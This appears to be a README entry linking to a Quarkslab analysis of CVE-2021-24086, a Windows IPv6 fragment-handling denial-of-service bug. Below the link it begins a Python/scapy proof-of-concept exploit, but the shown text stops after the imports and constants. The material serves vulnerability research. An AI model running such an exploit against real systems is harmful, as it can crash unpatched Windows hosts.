[Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows](https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html). This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin. ### Proof of Concept ```python import sys import random from scapy.all import * FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8 NEXT_HEADER_IPV6_ROUTE = 43 NEXT…